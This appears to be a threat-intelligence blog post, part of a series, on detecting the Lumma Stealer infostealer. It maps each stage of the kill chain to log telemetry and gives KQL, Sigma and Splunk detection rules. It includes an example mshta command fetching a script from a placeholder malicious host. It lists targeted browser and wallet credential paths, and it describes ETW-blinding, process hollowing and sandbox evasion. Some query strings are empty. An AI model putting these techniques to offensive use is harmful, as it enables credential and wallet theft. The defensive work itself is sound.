In this blog, we focus on operational detection engineering guidance for Lumma Stealer, focusing on high-fidelity telemetry analysis and deployable detection rules. Based on observed campaign telemetry, we present specific detection opportunities that can be implemented immediately in enterprise environments.
Kill Chain Mapping (Exact Telemetry Anchors)
Initial Access
Lumma Stealer’s campaigns often begin with social engineering that results in user-executed code. One prevalent initial access technique is drive-by compromise via fake “CAPTCHA” prompts (MITRE T1189). In this scenario, victims are redirected to a fake verification page and tricked into launching a malicious command (e.g., pressing Win+R and executing a Base64-encoded PowerShell snippet). Another variant abuses malvertising and trojanized installers (MITRE T1566.002), where a victim downloads a password-protected 800 MB executable masquerading as legitimate software, along with instructions to run it via command prompt. These methods rely on user interaction (MITRE T1204) and “Living off the Land” binaries (e.g., mshta.exe, PowerShell) to initiate the chain.
Telemetry Anchors – Initial Access: The first indicators are often in the user’s activity logs. Notably, the Run dialog history (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU) will record any command the user executes via Win+R. In Lumma’s fake CAPTCHA campaign, this registry key contains an entry launching mshta or powershell with a suspicious script or URL. Detecting a Base64-encoded command or an mshta invocation in RunMRU is a high-confidence signal of this attack path. For example, the following Microsoft Defender query hunts for explorer-launched Run dialog commands containing keywords like “powershell” or “mshta”:
Detect suspicious Run dialog commands (Lumma initial access)
DeviceRegistryEvents
| where InitiatingProcessFileName == “explorer.exe”
| where ActionType == “RegistryValueSet”
| where RegistryKey endswith “\\CurrentVersion\\Explorer\\RunMRU”
| where RegistryValueData contains “mshta” or RegistryValueData contains “powershell”
Process execution logs (Event ID 4688 or EDR telemetry) will show the spawn of mshta.exe or powershell.exe from an unexpected parent (often explorer.exe in the fake CAPTCHA case). Specifically, look for mshta.exe launching with a non-HTML file URL (e.g. an .mp3 or .pdf file containing script) – this is a telltale sign of a polyglot file exploit used by Lumma. For example, an anomalous command line like:
C:\Windows\System32\mshta.exe "http://<malicious_site>/never.mp3"should be treated as highly suspect. A Sigma rule to detect this behavior might be:
title: Suspicious mshta Execution of Script File (Lumma)
id: ceba4e7e-9f16-43a1-a8c8-msa1a3f00123
status: experimental
description: Detect mshta.exe executing a script file (e.g.,.mp3) as seen in Lumma Stealer infection chains
author: ThreatResearcher
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: ‘\\mshta.exe’
CommandLine|regex: ‘(?i)https?://[^\\s]+\\.(?:mp3|wav|png|jpg)$’
condition: selection
falsepositives:
– Rare legitimate use of mshta with media files
level: high
Evasion Notes – Initial Access: Lumma’s initial access is designed to evade perimeter defenses. The use of user-executed commands and password-protected files defeats simple email or web filters. Launching payloads via Microsoft-signed binaries (mshta, rundll32, etc.) helps blend into normal system activity. Additionally, the malware often uses file type masquerading (MITRE T1036.008) – for instance, a malicious script embedded in what looks like a media file or a large fake installer – to deceive users and static scanners. These evasion tactics highlight the importance of behavioral detection on endpoints, since purely signature-based or perimeter controls may not catch the infection trigger.
Execution
Once Lumma’s staged scripts run, they pull and execute the actual stealer payload. Execution commonly involves scripting engines (MITRE T1059) and system binaries (MITRE T1218). In observed attacks, the initial PowerShell or HTA script downloads or drops the Lumma Stealer binary, often via an obfuscated PowerShell Invoke-WebRequest/DownloadString or using mshta.exe to fetch and run an HTA payload. The Lumma payload may be run directly or injected into a newly spawned process (e.g., BitLockerToGo.exe) for stealth. Notably, one campaign injected Lumma into the legit BitLockerToGo.exe process (MITRE T1055.012) to execute it under a trusted image.
Telemetry Anchors – Execution: Look for chains of process launches that are atypical in endpoint logs. For example, explorer.exe spawning mshta.exe, which in turn starts powershell.exe is highly suspicious in user context. Security logs (4688 or EDR) should be scrutinized for PowerShell with encoded commands (-EncodedCommand or base64 blobs) and mshta executing remote content. Command-line auditing will reveal indicators such as -WindowStyle Hidden, use of Invoke-Expression (iex), or calls to .DownloadFile/.DownloadString – all red flags in this stage. Enabling PowerShell Script Block Logging (Event ID 4104) can capture the decoded scripts: for instance, multi-layered PowerShell where one script downloads an encrypted second stage is characteristic of Lumma’s fileless technique. Analysts should also monitor WMI spawn events (MITRE T1047) if applicable, since Lumma has leveraged WMI for execution in some cases. Windows Event ID 20 (WMI Execution) or Sysmon logs for wmic.exe usage by non-admin users could surface this activity.
Evasion Notes – Execution: Lumma Stealer extensively uses obfuscation and encryption to hinder detection during execution. Each stage of the infection chain is heavily encoded (PowerShell payloads are Base64-encoded, final binaries often encrypted) (MITRE T1027.013). The malware also employs in-memory execution to avoid writing clear artifacts to disk (fileless techniques). For example, scripts executed by mshta may be directly embedded in HTML or registry, never touching disk as .ps1 files. Lumma’s use of multiple living-off-the-land stages (PowerShell -> Mshta -> PowerShell) breaks the malicious logic into pieces, making single-point detection difficult. Each step is short-lived and often runs under a legitimate host process, which helps it slip past classic antivirus. To counter this, defenders should leverage event correlation (e.g., flag a sequence of mshta followed by PowerShell launch) and decode script content for analysis. Lumma also pads and packs its payloads (MITRE T1027.001, T1027.002), sometimes making executables unusually large (hundreds of MB) to thwart sandbox analysis. These combined evasion strategies underscore the need for continuous monitoring of script interpreters and LOLBins in the environment.
Persistence
Lumma Stealer can establish persistence to survive reboots (though not all operators choose to persist, since many infostealers run once to grab data). When persistence is used, a common technique is Registry Run keys (MITRE T1547.001). For instance, Lumma may create a value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run pointing to its binary in the user’s AppData folder. This ensures Lumma launches at logon without requiring admin privileges. In some cases, attackers bundle Lumma with installers or scripts that drop a shortcut to the Startup folder as well (another form of T1547.001).
Telemetry Anchors – Persistence: Monitoring registry changes is critical. Windows Event ID 4657 (Registry Value Modification) or Sysmon Event 13 can catch the creation of Run key entries. Specifically, any new autorun entry referencing unusual paths (Temp, AppData) or random filenames should be investigated. For example, a Run key value like “OneDrive Update” = “%APPDATA%\\<random>.exe” is suspicious if the executable is not signed by Microsoft. In EDR solutions, use registry telemetry (e.g., DeviceRegistryEvents) to filter for changes under the …\Run keys where the InitiatingProcess is a scripting engine or unknown process (legitimate software installations typically use well-known updaters or msiexec.exe). A Pseudo detection logic example:
Detect potential Lumma persistence via Run key
DeviceRegistryEvents
| where ActionType == “RegistryValueSet”
| where RegistryKey endswith “\\CurrentVersion\\Run”
| where InitiatingProcessFileName in~(“powershell.exe”,”cmd.exe”,”mshta.exe”,”wscript.exe”)
| where RegistryValueData != “” // non-empty value (executable path)
This query looks for any process like PowerShell or mshta (which Lumma uses) adding an AutoStart entry. Another angle is comparing 15–30 day baselines: if a new Run key value appears that hasn’t been seen on that host before, especially if created by a user-level process, generate an alert. Persisting via scheduled tasks or WMI Event Consumers has not been prominently documented for Lumma, but it’s prudent to watch those autostart mechanisms as well in case new variants adopt them.
Evasion Notes – Persistence: Lumma’s persistence, if enabled, is kept minimal and user-land to avoid UAC or security prompts. By using HKCU autoruns, it evades the need for admin privileges and thus stays under the radar of some system monitoring that focuses on machine-wide changes. The malware often masquerades the autorun entry with innocent or generic names (e.g., “OneDrive Update” or “Security Update”) to blend into legitimate startup programs. Additionally, the binary placed for persistence may be hidden in deep user directories or given a file name mimicking legitimate software. These evasion methods mean that generic “new startup program” alerts can be noisy; instead, tie persistence detection to the context – e.g., the fact it was created by a script process or that the target executable has no digital signature.
Privilege Escalation & Defense Evasion
Lumma Stealer typically runs with user-level privileges, but it employs techniques that could be considered privilege escalation in context – primarily process injection (MITRE T1055) to gain execution under a more trusted or protected process. As noted, one variant hollowed out the BitLockerToGo.exe process (a signed Windows binary) to hide its malicious code. This doesn’t raise the token level, but it escalates the context by running inside a process that might have higher permission or trust. From a defense evasion perspective, process hollowing also helps bypass naive application allowlists and some behavior monitoring. Lumma may similarly inject into or spawn other LOLBas processes (e.g., rundll32.exe or svchost.exe) as part of its evasion toolkit. Aside from injection, Lumma also disables security monitoring features: it was observed calling the native API NtSetInformationProcess with a special flag to strip ETW event callbacks (an anti-telemetry trick). This essentially blinds certain security products that rely on Event Tracing for Windows by preventing Lumma’s actions from generating callback events. Moreover, Lumma performs anti-sandbox checks – it computes hashes of known analysis or AV DLLs and ensures they are not present in the process, in order to detect if it’s running in a monitored environment. If such DLLs (indicators of tools like Sandboxie, Cuckoo, or certain EDR hooks) are found, Lumma may terminate or suppress parts of its functionality.
Telemetry Anchors – Injection & Evasion: Detecting process injection can be challenging but not impossible with the right telemetry. Sysmon’s Event ID 8 and 10 (image load and process access) can catch a process writing to another process’s memory or anomalously loading modules. For instance, if powershell.exe opens BitLockerToGo.exe with WRITE_VM/CREATE_THREAD access, that’s a strong signal of hollowing. EDR products often emit an alert or log entry for suspicious memory allocation or code injection – security teams should flag any event where one process modifies another’s memory or if a usually idle system process (like BitLockerToGo) suddenly starts making network connections or running threads unrelated to its normal use. Specifically, watch for child processes that don’t match typical parent-child relationships: in Lumma’s case, seeing BitLockerToGo.exe spawned by a script or appearing without a legitimate user action is highly suspicious.
For the ETW callback removal, there is unfortunately little direct telemetry on default Windows logs – this API call doesn’t trigger an event by itself. However, its effects can be indirectly noticed: for example, if script block logging or other expected monitoring suddenly “goes dark” right after the Lumma process starts, that is a clue. Advanced defenders can use EDR telemetry or Sysmon with driver-level monitoring to detect calls to NtSetInformationProcess with ProcessInstrumentationCallback class, but this may require custom instrumentation. As for anti-sandbox measures, one heuristic indicator is if the malware enumerates a long list of process/module names shortly after launch (indicative of environment surveying). If you have API monitoring, look for sequences of LoadLibrary/GetModuleHandle calls for known analysis DLL names (e.g., SbieDLL.dll for Sandboxie, or vendor-specific DLLs) – legitimate applications rarely perform such concentrated checks. In summary, combine multiple telemetry points: unusual memory writes, unexplained process spawns, and sudden cessation of logging are all pieces of the injection/evasion puzzle.
Evasion Notes – Defense: Lumma Stealer devotes significant effort to defense evasion at this stage. It uses multi-layer obfuscation (polymorphic code, packed binaries) to defeat static analysis. The aforementioned ETW bypass is a direct attempt to blind EDR and logging tools. Lumma’s virtual machine and sandbox detection (MITRE T1497) helps it avoid execution in lab environments. Practically, this means researchers might see Lumma quit or reduce functionality if it detects common VM artifacts (special MAC addresses, registry keys, VM tools processes, etc.). Another evasion trick is impersonation of legitimate processes (MITRE T1036): by hollowing into a system binary or naming its components similar to OS files, Lumma hides in plain sight. Finally, Lumma encrypts or compresses the stolen data before exfiltration, making packet inspection harder and hindering content-based detection. All these measures reinforce that single-point detections are not enough – a defense-in-depth approach correlating multiple weak signals is required to catch this stealer.
Discovery & Collection
Once running, Lumma Stealer swiftly moves to discover and collect sensitive data from the infected system. It enumerates the system and user environment to locate credentials, session tokens, and files of interest. Notably, Lumma targets web browsers (for saved passwords, cookies, and autofill data – MITRE T1217) and a wide range of cryptocurrency wallets and password managers (files likely containing private keys or vaults). The malware contains a hard-coded configuration of directories and file patterns to search – for example, it checks %APPDATA%\Electrum\wallets\* (Electrum Bitcoin wallets), %APPDATA%\Mozilla\Firefox\Profiles\* (Firefox profiles), %LOCALAPPDATA%\Google\Chrome\User Data\* (Chrome data), as well as directories for wallets like MetaMask, Exodus, Dash, and password stores like KeePass, 1Password, NordPass. It also scans for generic keywords like “wallet” or “password” in user directories to catch any plaintext secrets. In addition, Lumma can steal messaging and FTP client data (Telegram, FileZilla, etc.) by grabbing files such as TelegramDesktop\* or FileZilla\recentservers.xml. This broad collection capability is typical of modern infostealers. Lumma may also activate a keylogger (MITRE T1056.001) to capture keystrokes, ensuring it collects passwords that weren’t saved in browsers. It has been reported to harvest web session cookies as well (MITRE T1539), enabling attackers to hijack authenticated sessions.
Telemetry Anchors – Collection: The collection phase provides one of the clearest opportunities for behavioral detection, as legitimate processes rarely access the combination of files that Lumma does. Security teams should monitor file access events (via EDR file monitoring, Sysmon, or Windows Auditing) in sensitive directories. For example, a process other than Chrome or a backup agent opening Login Data or Cookies.sqlite in a browser profile path is suspicious by definition. Lumma’s binary will typically read multiple browser SQLite databases and wallet files in quick succession. If your EDR can report file access or if you use Sysmon with FileCreateStream (Event 15) for reading, set up alerts for unusual process/file pairings – e.g., an unknown EXE reading %APPDATA%\Mozilla\Firefox\Profiles\<profile>\key4.db (Firefox key store) or copying files from %APPDATA%\WalletWasabi\. (Wasabi wallet). A baseline over 30 days helps here: typically only the associated application (and perhaps antivirus scans) should touch these files. Any new process name accessing many of these files across different categories (browsers, wallets, FTP configs) within a short timeframe is a strong indicator of Lumma or similar stealer activity.
Another angle is monitoring for process injections or module loads related to credential dumping. If Lumma attempts to decrypt browser passwords in memory, it might call Windows DPAPI functions. Look for suspicious processes loading crypt32.dll and calling CryptUnprotectData or using System.Net.NetworkCredentials in.NET to decode passwords – these could surface via API monitoring or command-line (in case of PowerShell Invoke-DPAPI usage). Lumma has been observed using AutoIt or.NET utilities to perform DPAPI decryption of captured data. If your environment logs PowerShell module loads, loading of the SecureString or DPAPI-related.NET classes by a process that isn’t a browser could be a clue. For keylogging, consider enabling security auditing for SetWindowsHook calls or low-level keyboard hooks. While Windows has no native log for “process X installed a global hook,” EDR products might flag anomalous hook API usage. At minimum, a process that consistently stays in background and is capturing keystrokes often exhibits suspicious behavior (like calling GetAsyncKeyState in a loop or creating an invisible window to intercept input). Cross-reference long-running unknown processes with interactive user sessions to catch this.
Evasion Notes – Collection: Lumma Stealer’s collection tactic is straightforward – it grabs files directly – but the malware often compresses and encrypts the data before exfiltration, as noted earlier, to avoid detection by content inspection. By searching for specific file locations rather than using broader system calls, Lumma avoids noisy behaviors like full disk scans; it knows exactly where to look, reducing its footprint. It also may delete any temporary copies it makes. Some variants run a batch script (“killing.bat”) after data collection to clear evidence, such as removing the initially dropped script or terminating the dropper process. This cleanup can complicate incident response by wiping artifacts. However, the use of such scripts is itself observable – a command prompt or cmd.exe executing a file named killing.bat in unusual directories is a sign malware attempted self-cleanup. Defenders should try to capture volatile forensic data (memory, etc.) quickly if Lumma is suspected, before these routines execute.
Exfiltration
After gathering data, Lumma Stealer exfiltrates the stolen information to its command-and-control (C2) server (MITRE T1041). Exfiltration typically occurs over standard HTTP/HTTPS, blending in with normal web traffic. The malware packages the stolen files (often in a ZIP or custom archive) and sends it via HTTP POST requests to the attacker’s server. Notably, Lumma’s network protocol includes periodic “heartbeat” signals; for instance, it sends an initial POST with a parameter like act=life to signify an active infection. The C2 panel responds with a simple acknowledgment (the string “ok”, in an expected format) to indicate readiness. Following this, Lumma uploads data in one or multiple requests. The HTTP User-Agent string is usually forged to appear legitimate (e.g., mimicking Chrome or Edge browser versions), and the POST Content-Type might be application/x-www-form-urlencoded or multipart/form-data to seem routine. The C2 URLs themselves often use seemingly benign paths like /api or /upload.php on attacker-controlled domains. Campaigns in late 2024 and 2025 have utilized a rotating set of domains, including uncommon TLDs such as “.shop”, “.biz”, “.pro”, “.help” and others. Many of these domains are short-lived or unique per campaign, reflecting Lumma’s MaaS infrastructure where each affiliate may have their own panel address.
Telemetry Anchors – Exfiltration: Network monitoring is crucial here. Even if domains and IPs change, behavioral patterns can be identified. One effective strategy is to alert on outbound connections to never-before-seen domains for a host or across the org – Lumma’s C2 domains will almost always be new to your environment. Implementing a 30-day rolling baseline of normal domain contacts per workstation can help flag the sudden appearance of an odd domain like mennyudosirso[.]shop or naturewsounds[.]help. Additionally, inspect HTTP POST traffic from non-browser processes. If possible, use proxy or firewall logs to identify the process initiating connections (many next-gen firewalls or EDRs provide process-attribution for network flows). An unknown process sending large POST requests or any process like rundll32.exe, mshta.exe, or a rarely-used system binary doing so is a red flag. The presence of the string act=life or similar heartbeat indicators in HTTP payloads can be a smoking gun – if you have full packet capture or deep HTTP logging, search for that parameter universally. Even without content specifics, unusual User-Agent anomalies can be detected: for example, if you see a BitLockerToGo.exe process communicating outward with a Chrome 119 user-agent, that should never happen in normal operation. Analytics can be written to compare the user-agent and the known legitimate agents for a given process or application.
Where possible, leverage IDS/IPS rules for known Lumma traffic patterns. Some open-source signatures may exist for Lumma’s HTTP structure. However, avoid relying on static IoCs alone (like hardcoded domain names or IPs) – Lumma infrastructure is highly dynamic and distributed among its criminal clientele. Instead, focus on generic HTTP anomalies: POST to suspicious domains, responses with small “ok” acknowledgements, and new domain ASN categories (many Lumma domains are likely in hosting ASNs not normally accessed by employees). Also consider egress filtering – if your users wouldn’t normally need to reach certain geo-locations or newly registered domains, block or at least alert on those.
Evasion Notes – Exfiltration: Lumma Stealer’s exfiltration is designed to blend in and succeed. By using common ports (80/443) and mimicking browser traffic, it evades simple port-based blocking and doesn’t immediately stand out. The data upload is often encrypted or encoded; even if intercepted, the payload may not be intelligible (Lumma’s panel and binary often compress and AES-encrypt stolen data). Moreover, the use of legitimate-like user agents and generic API endpoints makes the traffic look similar to normal web service calls. Lumma operators also frequently rotate their C2 infrastructure – domains are changed often, and some are even one-use domains per victim, making reputation-based blocking less effective. In some instances, they may use legitimate cloud services or CDNs as relays ; for example, using a cloud storage link temporarily for exfil (though direct C2 is more common). The malware’s geofencing of payload downloads (as seen in some campaigns) also indicates an attempt to evade researchers outside the target region, ensuring the C2 traffic is less likely to be observed by hobbyist sandboxes. All these factors mean that anomaly-based egress monitoring (new domains, odd process communications) is one of the most reliable ways to catch Lumma exfiltration, rather than signature-based detection.
Summary of ATT&CK Techniques Mapped to Telemetry
The table below summarizes Lumma Stealer’s key tactics, techniques, and corresponding telemetry or artifacts that defenders can monitor:
Initial AccessDrive-by Social Engineering (T1189), Phishing (T1566.002), User Execution (T1204)– RunMRU registry entries with embedded PowerShell/mshta commands – Process spawn: explorer.exe → **mshta.exe**/**powershell.exe** with suspicious argsFake CAPTCHA pages and trojan installers trick users ; payloads delivered as polyglot or password-protected files to avoid scanning.ExecutionScripting: PowerShell (T1059.001), Command Shell (T1059.003); Proxy Execution: MSHTA (T1218.005)– Event 4688/4104: PowerShell -EncodedCommand invocation – mshta.exe running **.mp3/.html** payload (command line anomaly)– WMI execution events (if WMI used)Heavy obfuscation of scripts (multiple Base64 layers) ; fileless in-memory stages; uses signed MS binaries (mshta, rundll32) to execute code.PersistenceStartup Auto-run (T1547.001)– Registry value added under Run/RunOnce with path to Lumma binary – New file in Startup folder (if used) by unusual process (e.g. script)Uses user-level autoruns to bypass admin detection; names entries after legit software for camouflage.Privilege EscalationProcess Injection: Hollowing (T1055.012)– Unusual child process (e.g., Lumma spawning BitLockerToGo.exe) – Memory write events (VirtualAllocEx/WriteProcessMemory to remote process) if monitored– Injected process performing atypical actions (network, file access)Hides in a system process to inherit its trust and permissions; avoids creating new high-privilege processes, instead piggybacks on existing ones.Defense EvasionObfuscated/Packed Payloads (T1027), Disable Security Tools (T1562), Masquerading (T1036), Sandbox Detection (T1497)– NtSetInformationProcess call to remove ETW callbacks (detected via EDR hooks) – Check for analysis DLLs in process memory (sequence of LoadLibrary/GetProcAddress calls)– Presence of unusually large binary (e.g., 800MB file) in temp dirsPolymorphic binary packing ; dynamically disables monitoring (ETW) ; terminates or idles if in VM/sandbox; file type and name spoofing to appear benign.Credential AccessKeylogging (T1056.001), Steal Cookies (T1539)– API hooks for keystrokes (SetWindowsHookEx events, if instrumented)– Unexpected reads of browser cookie files by non-browser process– Windows credential vault or DPAPI access by unknown processMay run keylogger only when user is active to avoid needless noise; uses existing session cookies and saved creds to avoid noisy brute-force, and decrypts data in-memory to evade writing sensitive info to disk.Discovery & CollectionBrowser Info Discovery (T1217), File Discovery (T1083), Process Discovery (T1057)– Process enumerating many security-sensitive paths (browser profiles, wallet directories) in rapid succession – Execution of `tasklist.exe` or similar by Lumma (process listing)Searches targeted locations directly (lower footprint than broad scanning); uses batch/script to identify and possibly terminate competing processes (e.g., other malware or security tools).ExfiltrationExfiltration Over C2 (T1041)– Outbound HTTP POST to unfamiliar domain – HTTP request body containing **`act=life`** or similarly unique token– Suspicious user-agent used by non-browser process (e.g. fake Chrome UA)Uses standard ports (80/443) and innocuous protocols; encrypts payloads in transit; frequently changes C2 servers (fast-flux domains) to evade blocklists.Every phase of Lumma Stealer’s kill chain is mapped to concrete telemetry above. These exact, observed artifacts enable security teams to craft precise detection analytics. By focusing on behavioral indicators – such as unusual process executions, specific registry modifications, and out-of-profile file/network access – defenders can detect Lumma and similar stealers in a robust, future-proof way. Each detection recommendation here is designed to be actionable with today’s tools, emphasizing high-fidelity signals over static IOCs, and leveraging environment baselines to distinguish malicious outliers from normal operations.
Telemetry-Driven Detection Engineering
Suspicious Run Dialog Commands (ClickFix Execution)
Lumma Stealer affiliates often trick users into executing malicious commands via the Windows Run dialog, which stores executed commands in the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key. Any Run dialog entry containing an http or https URL (especially launching PowerShell or MSHTA) is highly suspect. This telemetry can be captured via EDR registry event logs or Sysmon. The example below uses Pseudo detection logic to identify Run dialog commands with URLs:
DeviceRegistryEvents
| where ActionType == “RegistryValueSet”
| where RegistryKey endswith @”\CurrentVersion\Explorer\RunMRU”
| where RegistryValueData has_any (“http://”,”https://”)
| extend URL = extract(@”http[s]?://[^\s'””\)\>,]+”, 0, RegistryValueData)
| where isnotempty(URL)
Living-off-the-Land Binary for Download
Lumma frequently abuses trusted binaries (LOLBins) like powershell.exe and mshta.exe to fetch and execute its payload. Any such process with a URL in its command line (especially network scripts or file downloads) should be treated as malicious. The detection logic below (Sigma format) targets PowerShell or MSHTA running with an HTTP/HTTPS URL, excluding known browser processes to minimize false positives:
title: Lumma Stealer Payload Download via LOLBin
status: stable
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
– ‘\powershell.exe’
– ‘\mshta.exe’
CommandLine|contains: ‘http’
filter_known:
ParentImage|endswith:
– ‘\chrome.exe’
– ‘\msedge.exe’
– ‘\firefox.exe’
– ‘\iexplore.exe’
condition: selection and not filter_known
fields:
– Image
– ParentImage
– CommandLine
falsepositives:
– Administrative scripts or software updaters using PowerShell/MSHTA with web URLs
Unusual Child Processes for.NET Utilities
Lumma’s loader uses process hollowing by launching legitimate.NET utilities (e.g., RegAsm.exe, RegSvcs.exe, MSBuild.exe) and injecting malicious code into them. These processes seldom originate from scripting engines in normal operation. Telemetry showing a script interpreter (PowerShell, MSHTA, WScript) spawning these binaries is a strong indicator of Lumma. The Sigma rule below detects such parent-child relationships:
title: Lumma Loader Spawning Trusted.NET Process (Injection)
status: stable
logsource:
category: process_creation
product: windows
detection:
selection1:
ParentImage|endswith:
– ‘\powershell.exe’
– ‘\mshta.exe’
– ‘\wscript.exe’
– ‘\cscript.exe’
Image|endswith:
– ‘\RegSvcs.exe’
– ‘\RegAsm.exe’
– ‘\MSBuild.exe’
selection2:
ParentImage|endswith: ‘\powershell.exe’
CommandLine|contains: ‘RegSvcs.exe’
condition: selection1 or selection2
fields:
– ParentImage
– Image
– CommandLine
falsepositives:
– Legitimate software installation or developer actions (should be rare)
Process Hollowing and Code Injection
Lumma Stealer’s hollowing behavior can be caught via memory-access telemetry. If a process creates a remote thread or writes to the memory of RegSvcs.exe, RegAsm.exe, MSBuild.exe, or explorer.exe, it likely indicates code injection. The following Sigma rule looks for Sysmon Event ID 8 (remote thread creation) targeting these processes:
title: Potential Lumma Process Injection (Remote Thread)
status: stable
logsource:
category: process_access
product: windows
detection:
injector_proc:
TargetImage|endswith:
– ‘\RegSvcs.exe’
– ‘\RegAsm.exe’
– ‘\MSBuild.exe’
– ‘\explorer.exe’
EventID: 8 # Sysmon: CreateRemoteThread in another process
condition: injector_proc
fields:
– UtcTime
– SourceImage
– TargetImage
falsepositives:
– Debugging tools or legitimate injection (rare in these target processes)
Network Beaconing via Unusual Process
Once injected, Lumma’s payload communicates with its C2 servers from the context of the hollowed process. For example, an instance of RegSvcs.exe (a COM registration tool) making outbound HTTPS requests is an anomaly, since these binaries have no internet activity in normal baselines. Network telemetry (e.g., Sysmon Event ID 3 or EDR network logs) should be monitored for such patterns. The pseudo detection logic query below identifies.NET utilities initiating external connections, excluding internal IP ranges:
index=network_logs EventID=3 Image IN (“C:\\Windows\\Microsoft.NET\\Framework*\\RegSvcs.exe”,
“C:\\Windows\\Microsoft.NET\\Framework*\\RegAsm.exe”,
“C:\\Windows\\Microsoft.NET\\Framework*\\MSBuild.exe”)
| search NOT (DestinationIP=”10.0.0.0/8″ OR DestinationIP=”192.168.0.0/16″ OR DestinationIP=”172.16.0.0/12″)
In a well-tuned environment, a 30-day baseline should show zero external network traffic from these processes, so any hit is a highly reliable indicator.
Bulk Access to Credentials and Files
Lumma Stealer harvests a wide range of data – browser passwords, cookies, cryptocurrency wallets, VPN configs, and user documents – typically within a short timeframe. A single process suddenly accessing multiple browser credential stores or user documents in rapid succession is a strong sign of an infostealer. Security monitoring solutions should baseline which processes normally read files like Login Data (Chrome passwords), Cookies databases, or Firefox logins.json, and alert on anomalies. The following pseudo detection logic detects any process (excluding browsers) that touches more than two distinct credential files within a brief window:
index=endpoint_logs (FileName=”Login Data” OR FileName=”Cookies” OR FileName=”cookies.sqlite” OR FileName=”logins.json” OR FileName=”key4.db”)
| stats dc(FileName) as num_files values(FileName) as files by ProcessName, ProcessID, Host
| where num_files > 2 AND NOT (ProcessName=”chrome.exe” OR ProcessName=”msedge.exe” OR ProcessName=”firefox.exe” OR ProcessName=”brave.exe”)
This query will highlight processes that accessed several different browser credential files, which is very unlikely in legitimate usage. Adjust the file list and exclusions based on your environment (e.g., include .pdf or .docx if focusing on document theft) and use a 15–30 day baseline to refine the threshold for normal vs. suspicious file access volumes.
Fallback C2 Channels (Steam and Telegram)
Lumma’s later versions use unconventional C2 channels like Steam profile pages and Telegram chats as backups. Any non-standard process reaching out to Steam or Telegram URLs can indicate malware switching to fallback communications. For example, if RegSvcs.exe or an unknown process makes an HTTP request to “ or the Telegram API, it warrants immediate investigation. The Pseudo detection logic below hunts for connections to Steam/Telegram domains by processes other than the legitimate clients:
DeviceNetworkEvents
| where RemoteUrl contains “” or RemoteUrl contains “”
| where InitiatingProcessFileName !in~ (“steam.exe”, “telegram.exe”, “steamwebhelper.exe”)
This will capture suspect network traffic, such as Lumma attempting to fetch instructions from a Steam profile or send data via a Telegram bot, using a process that normally should not interact with those services.
Conclusion
Effective detection of Lumma Stealer requires a multi-layered approach combining process, registry, file system, and network monitoring. The key is focusing on behavioral indicators rather than static IOCs, as Lumma’s infrastructure and payloads change rapidly while its core behaviors remain consistent.
This is part 2 of a 3-part series on Lumma Stealer detection engineering.